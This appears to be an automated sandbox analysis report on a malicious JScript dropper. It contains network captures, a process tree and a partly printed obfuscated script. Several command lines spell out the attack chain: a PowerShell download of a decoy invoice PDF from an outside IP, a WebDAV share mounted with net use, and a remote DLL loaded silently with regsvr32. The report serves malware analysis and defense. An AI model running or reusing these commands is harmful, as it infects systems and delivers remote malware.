Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7848	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:33:00.564238071 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 15:33:01.331181049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:33:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 15:33:01.331196070 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 15:33:01.331206083 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 15:33:01.331243992 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 15:33:01.331254959 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 15:33:01.331309080 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 15:33:01.331334114 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 15:33:01.331346035 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 15:33:01.331356049 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 10, 2025 15:33:01.331368923 CET	1236	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB
Jan 10, 2025 15:33:01.336278915 CET	324	IN	Data Raw: 06 53 4f d1 e7 84 e6 4a e8 f7 8e 29 8f ba ee 99 1e a4 8f 9e 1c 5d db 6b ae aa 50 42 fd 25 f9 ab 5a a8 d2 9a a9 55 d3 6a fd f4 b1 6f 67 3e d4 ea 75 af fe 19 f3 27 60 ce 2e ac 66 38 b4 7c d0 64 f9 04 5b 7f d4 e9 1f 43 32 d3 97 3b 01 d3 1c b4 1a 2e Data Ascii: SOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	8088	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 15:33:03.266421080 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 15:33:04.054145098 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 14:33:03 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	09:32:56
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18559217651387524988.js"
Imagebase:	0x7ff654580000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:32:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll
Imagebase:	0x7ff6c2200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:32:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:32:57
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:33:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:33:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c2200000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:33:02
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6566a0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:33:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	09:33:03
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	09:33:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1640,i,13619659452402158311,8467042850508532389,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function qzeohs() {	qzeohs() ➔ undefined
1	zzjqyx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xoyubm = this[olmielgo + pqrohnw + zzylvbeug + nenlb + furpxmdl + yskrx + bcozbpojg + lbkeivvrd] ( this[svkahch + otcuonml + lgyaw + zzylvbeug + wmfwr + olmielgo + lbkeivvrd][uekcasb + zzylvbeug + furpxmdl + pqrohnw + lbkeivvrd + furpxmdl + jpvyqmzgg + hqlmw + ttbvo + furpxmdl + lgyaw + lbkeivvrd] ( svkahch + otcuonml + lgyaw + zzylvbeug + wmfwr + olmielgo + lbkeivvrd + zolevqplb + otcuonml + etojstrom + furpxmdl + ftrqkmes + ftrqkmes ) [aeltdm + furpxmdl + tbajtna + aeltdm + furpxmdl + pqrohnw + wzvxfss] ( czgmm + qgpalcf + ktwwbrs + paolmp + skfvzozzu + uekcasb + vxbqepzeb + aeltdm + aeltdm + ktwwbrs + iprjji + ibsijgpg + skfvzozzu + vxbqepzeb + otcuonml + ktwwbrs + aeltdm + tioxkyn + uekcasb + dgzfgdz + bcozbpojg + lbkeivvrd + zzylvbeug + dgzfgdz + ftrqkmes + zoeniollx + yoohfewf + pqrohnw + bcozbpojg + furpxmdl + ftrqkmes + tioxkyn + yskrx + bcozbpojg + lbkeivvrd + furpxmdl + zzylvbeug + bcozbpojg + pqrohnw + lbkeivvrd + wmfwr + dgzfgdz + bcozbpojg + pqrohnw + ftrqkmes + tioxkyn + rbqqpajw + dgzfgdz + lgyaw + pqrohnw + ftrqkmes + furpxmdl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xceofz = 0 ; xceofz < zzjqyx[ftrqkmes + furpxmdl + bcozbpojg + tbajtna + lbkeivvrd + etojstrom] ; ++ xceofz )
4	{
5	if ( xoyubm == zzjqyx[xceofz] )
6	{
7	xoyubm = true;
8	break ;
9	}
10	}
11	if ( xoyubm !== true )
12	this[svkahch + otcuonml + lgyaw + zzylvbeug + wmfwr + olmielgo + lbkeivvrd][sajavp + nkghytco + wmfwr + lbkeivvrd] ( );
13	this[svkahch + otcuonml + lgyaw + zzylvbeug + wmfwr + olmielgo + lbkeivvrd][uekcasb + zzylvbeug + furpxmdl + pqrohnw + lbkeivvrd + furpxmdl + jpvyqmzgg + hqlmw + ttbvo + furpxmdl + lgyaw + lbkeivvrd] ( svkahch + otcuonml + lgyaw + zzylvbeug + wmfwr + olmielgo + lbkeivvrd + zolevqplb + otcuonml + etojstrom + furpxmdl + ftrqkmes + ftrqkmes ) [zzylvbeug + nkghytco + bcozbpojg] ( lgyaw + loeeejz + wzvxfss + zoeniollx + drjfa + lgyaw + zoeniollx + olmielgo + dgzfgdz + fiuamw + furpxmdl + zzylvbeug + nenlb + etojstrom + furpxmdl + ftrqkmes + ftrqkmes + zolevqplb + furpxmdl + rlebw + furpxmdl + zoeniollx + yhjbzk + uekcasb + dgzfgdz + loeeejz + loeeejz + pqrohnw + bcozbpojg + wzvxfss + zoeniollx + yjmmrbtjw + yskrx + bcozbpojg + ojfva + dgzfgdz + przxhluux + furpxmdl + yhjbzk + svkahch + furpxmdl + hqlmw + aeltdm + furpxmdl + ozxlx + nkghytco + furpxmdl + nenlb + lbkeivvrd + zoeniollx + yhjbzk + jpvyqmzgg + nkghytco + lbkeivvrd + wkjnkm + wmfwr + ftrqkmes + furpxmdl + zoeniollx + ihpujft + lbkeivvrd + furpxmdl + loeeejz + olmielgo + ihpujft + tioxkyn + wmfwr + bcozbpojg + ojfva + dgzfgdz + wmfwr + lgyaw + furpxmdl + zolevqplb + olmielgo + wzvxfss + tyjcyzz + zoeniollx + etojstrom + lbkeivvrd + lbkeivvrd + olmielgo + tautpy + drjfa + drjfa + ejoqs + gfnnzrnnb + tjphurnit + zolevqplb + ejoqs + rwhucb + tjphurnit + zolevqplb + ejoqs + zolevqplb + xvxcbbv + sjrlbkqg + cvvitmp + drjfa + wmfwr + bcozbpojg + ojfva + dgzfgdz + wmfwr + lgyaw + furpxmdl + zolevqplb + olmielgo + etojstrom + olmielgo + yjmmrbtjw + mbkkzkhy + mbkkzkhy + nenlb + lbkeivvrd + pqrohnw + zzylvbeug + lbkeivvrd + zoeniollx + ihpujft + lbkeivvrd + furpxmdl + loeeejz + olmielgo + ihpujft + tioxkyn + wmfwr + bcozbpojg + ojfva + dgzfgdz + wmfwr + lgyaw + furpxmdl + zolevqplb + olmielgo + wzvxfss + tyjcyzz + mbkkzkhy + mbkkzkhy + lgyaw + loeeejz + wzvxfss + zoeniollx + drjfa + lgyaw + zoeniollx + bcozbpojg + furpxmdl + lbkeivvrd + zoeniollx + nkghytco + nenlb + furpxmdl + zoeniollx + tioxkyn + tioxkyn + ejoqs + gfnnzrnnb + tjphurnit + zolevqplb + ejoqs + rwhucb + tjphurnit + zolevqplb + ejoqs + zolevqplb + xvxcbbv + sjrlbkqg + cvvitmp + skndjbq + tiiadcp + tiiadcp + tiiadcp + tiiadcp + tioxkyn + wzvxfss + pqrohnw + ojfva + fiuamw + fiuamw + fiuamw + zzylvbeug + dgzfgdz + dgzfgdz + lbkeivvrd + tioxkyn + mbkkzkhy + mbkkzkhy + lgyaw + loeeejz + wzvxfss + zoeniollx + drjfa + lgyaw + zoeniollx + zzylvbeug + furpxmdl + tbajtna + nenlb + ojfva + zzylvbeug + tjphurnit + xvxcbbv + zoeniollx + drjfa + nenlb + zoeniollx + tioxkyn + tioxkyn + ejoqs + gfnnzrnnb + tjphurnit + zolevqplb + ejoqs + rwhucb + tjphurnit + zolevqplb + ejoqs + zolevqplb + xvxcbbv + sjrlbkqg + cvvitmp + skndjbq + tiiadcp + tiiadcp + tiiadcp + tiiadcp + tioxkyn + wzvxfss + pqrohnw + ojfva + fiuamw + fiuamw + fiuamw + zzylvbeug + dgzfgdz + dgzfgdz + lbkeivvrd + tioxkyn + xvxcbbv + ejoqs + gfnnzrnnb + tjphurnit + tiiadcp + xvxcbbv + cvvitmp + iwhifll + sjrlbkqg + lruzg + tjphurnit + lruzg + cvvitmp + tiiadcp + zolevqplb + wzvxfss + ftrqkmes + ftrqkmes, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll",0,false) ➔ 0
14	}
15	yjmmrbtjw = "B";
16	yjmmrbtjw = "K";
17	yjmmrbtjw = "g";
18	yjmmrbtjw = "w";
19	yjmmrbtjw = "I";
20	yjmmrbtjw = "\"";
21	zoeniollx = "j";
22	zoeniollx = "d";
23	zoeniollx = "e";
24	zoeniollx = "s";
25	zoeniollx = "Y";
26	zoeniollx = "j";
27	zoeniollx = "V";
28	zoeniollx = "U";
29	zoeniollx = "i";
30	zoeniollx = "A";
31	zoeniollx = "T";
32	zoeniollx = "X";
33	zoeniollx = "m";
34	zoeniollx = "p";
35	zoeniollx = "d";
36	zoeniollx = "j";
37	zoeniollx = "c";
38	zoeniollx = "l";
39	zoeniollx = "j";
40	zoeniollx = "f";
41	zoeniollx = "o";
42	zoeniollx = "z";
43	zoeniollx = "u";
44	zoeniollx = "P";
45	zoeniollx = "n";
46	zoeniollx = "T";
47	zoeniollx = "l";
48	zoeniollx = "p";
49	zoeniollx = "z";
50	zoeniollx = "B";
51	zoeniollx = " ";
52	przxhluux = "K";
53	przxhluux = "V";
54	przxhluux = "H";
55	przxhluux = "k";
56	przxhluux = "s";
57	przxhluux = "w";
58	przxhluux = "q";
59	przxhluux = "k";
60	przxhluux = "L";
61	przxhluux = "j";
62	przxhluux = "L";
63	przxhluux = "e";
64	przxhluux = "I";
65	przxhluux = "k";
66	czgmm = "T";
67	czgmm = "x";
68	czgmm = "U";
69	czgmm = "d";
70	czgmm = "w";
71	czgmm = "i";
72	czgmm = "C";
73	czgmm = "f";
74	czgmm = "E";
75	czgmm = "C";
76	czgmm = "Z";
77	czgmm = "N";
78	czgmm = "z";
79	czgmm = "C";
80	czgmm = "x";
81	czgmm = "A";
82	czgmm = "y";
83	czgmm = "Q";
84	czgmm = "H";
85	xvxcbbv = "Y";
86	xvxcbbv = "j";
87	xvxcbbv = "F";
88	xvxcbbv = "r";
89	xvxcbbv = "J";
90	xvxcbbv = "g";
91	xvxcbbv = "T";
92	xvxcbbv = "u";
93	xvxcbbv = "2";
94	tjphurnit = "p";
95	tjphurnit = "W";
96	tjphurnit = "V";
97	tjphurnit = "U";
98	tjphurnit = "L";
99	tjphurnit = "k";
100	tjphurnit = "u";
101	tjphurnit = "S";
102	tjphurnit = "R";
103	tjphurnit = "Z";
104	tjphurnit = "x";
105	tjphurnit = "3";
106	ftrqkmes = "Y";
107	ftrqkmes = "m";
108	ftrqkmes = "G";
109	ftrqkmes = "f";
110	ftrqkmes = "I";
111	ftrqkmes = "v";
112	ftrqkmes = "x";
113	ftrqkmes = "p";
114	ftrqkmes = "X";
115	ftrqkmes = "j";
116	ftrqkmes = "x";
117	ftrqkmes = "u";
118	ftrqkmes = "w";
119	ftrqkmes = "S";
120	ftrqkmes = "u";
121	ftrqkmes = "v";
122	ftrqkmes = "d";
123	ftrqkmes = "j";
124	ftrqkmes = "X";
125	ftrqkmes = "O";
126	ftrqkmes = "l";
127	paolmp = "V";
128	paolmp = "Q";
129	paolmp = "X";
130	paolmp = "H";
131	paolmp = "F";
132	paolmp = "z";
133	paolmp = "s";
134	paolmp = "A";
135	paolmp = "M";
136	paolmp = "l";
137	paolmp = "N";
138	paolmp = "K";
139	paolmp = "b";
140	paolmp = "F";
141	paolmp = "s";
142	paolmp = "e";
143	paolmp = "h";
144	paolmp = "n";
145	paolmp = "o";
146	paolmp = "k";
147	paolmp = "Z";
148	paolmp = "m";
149	paolmp = "b";
150	paolmp = "x";
151	paolmp = "a";
152	paolmp = "X";
153	paolmp = "M";
154	paolmp = "E";
155	paolmp = "u";
156	paolmp = "w";
157	paolmp = "y";
158	paolmp = "m";
159	paolmp = "Z";
160	paolmp = "X";
161	paolmp = "n";
162	paolmp = "g";
163	paolmp = "x";
164	paolmp = "p";
165	paolmp = "D";
166	paolmp = "d";
167	paolmp = "u";
168	paolmp = "F";
169	paolmp = "o";
170	paolmp = "X";
171	paolmp = "Y";
172	lgyaw = "d";
173	lgyaw = "I";
174	lgyaw = "z";
175	lgyaw = "i";
176	lgyaw = "Q";
177	lgyaw = "i";
178	lgyaw = "N";
179	lgyaw = "G";
180	lgyaw = "p";
181	lgyaw = "j";
182	lgyaw = "Y";
183	lgyaw = "j";
184	lgyaw = "m";
185	lgyaw = "i";
186	lgyaw = "B";
187	lgyaw = "o";
188	lgyaw = "X";
189	lgyaw = "i";
190	lgyaw = "H";
191	lgyaw = "o";
192	lgyaw = "l";
193	lgyaw = "u";
194	lgyaw = "X";
195	lgyaw = "n";
196	lgyaw = "N";
197	lgyaw = "w";
198	lgyaw = "p";
199	lgyaw = "I";
200	lgyaw = "W";
201	lgyaw = "f";
202	lgyaw = "h";
203	lgyaw = "c";
204	ojfva = "p";
205	ojfva = "B";
206	ojfva = "p";
207	ojfva = "l";
208	ojfva = "Y";
209	ojfva = "j";
210	ojfva = "d";
211	ojfva = "O";
212	ojfva = "v";
213	yhjbzk = "c";
214	yhjbzk = "S";
215	yhjbzk = "j";
216	yhjbzk = "b";
217	yhjbzk = "q";
218	yhjbzk = "i";
219	yhjbzk = "j";
220	yhjbzk = "D";
221	yhjbzk = "v";
222	yhjbzk = "y";
223	yhjbzk = "e";
224	yhjbzk = "q";
225	yhjbzk = "R";
226	yhjbzk = "n";
227	yhjbzk = "q";
228	yhjbzk = "g";
229	yhjbzk = "R";
230	yhjbzk = "Q";
231	yhjbzk = "O";
232	yhjbzk = "h";
233	yhjbzk = "S";
234	yhjbzk = "J";
235	yhjbzk = "p";
236	yhjbzk = "A";
237	yhjbzk = "H";
238	yhjbzk = "Y";
239	yhjbzk = "m";
240	yhjbzk = "s";
241	yhjbzk = "m";
242	yhjbzk = "y";
243	yhjbzk = "W";
244	yhjbzk = "g";
245	yhjbzk = "j";
246	yhjbzk = "X";
247	yhjbzk = "r";
248	yhjbzk = "I";
249	yhjbzk = "y";
250	yhjbzk = "x";
251	yhjbzk = "T";
252	yhjbzk = "S";
253	yhjbzk = "K";
254	yhjbzk = "g";
255	yhjbzk = "R";
256	yhjbzk = "x";
257	yhjbzk = "-";
258	wmfwr = "i";
259	wmfwr = "l";
260	wmfwr = "q";
261	wmfwr = "o";
262	wmfwr = "V";
263	wmfwr = "d";
264	wmfwr = "h";
265	wmfwr = "D";
266	wmfwr = "k";
267	wmfwr = "Q";
268	wmfwr = "O";
269	wmfwr = "F";
270	wmfwr = "g";
271	wmfwr = "s";
272	wmfwr = "a";
273	wmfwr = "Q";
274	wmfwr = "J";
275	wmfwr = "F";
276	wmfwr = "C";
277	wmfwr = "O";
278	wmfwr = "z";
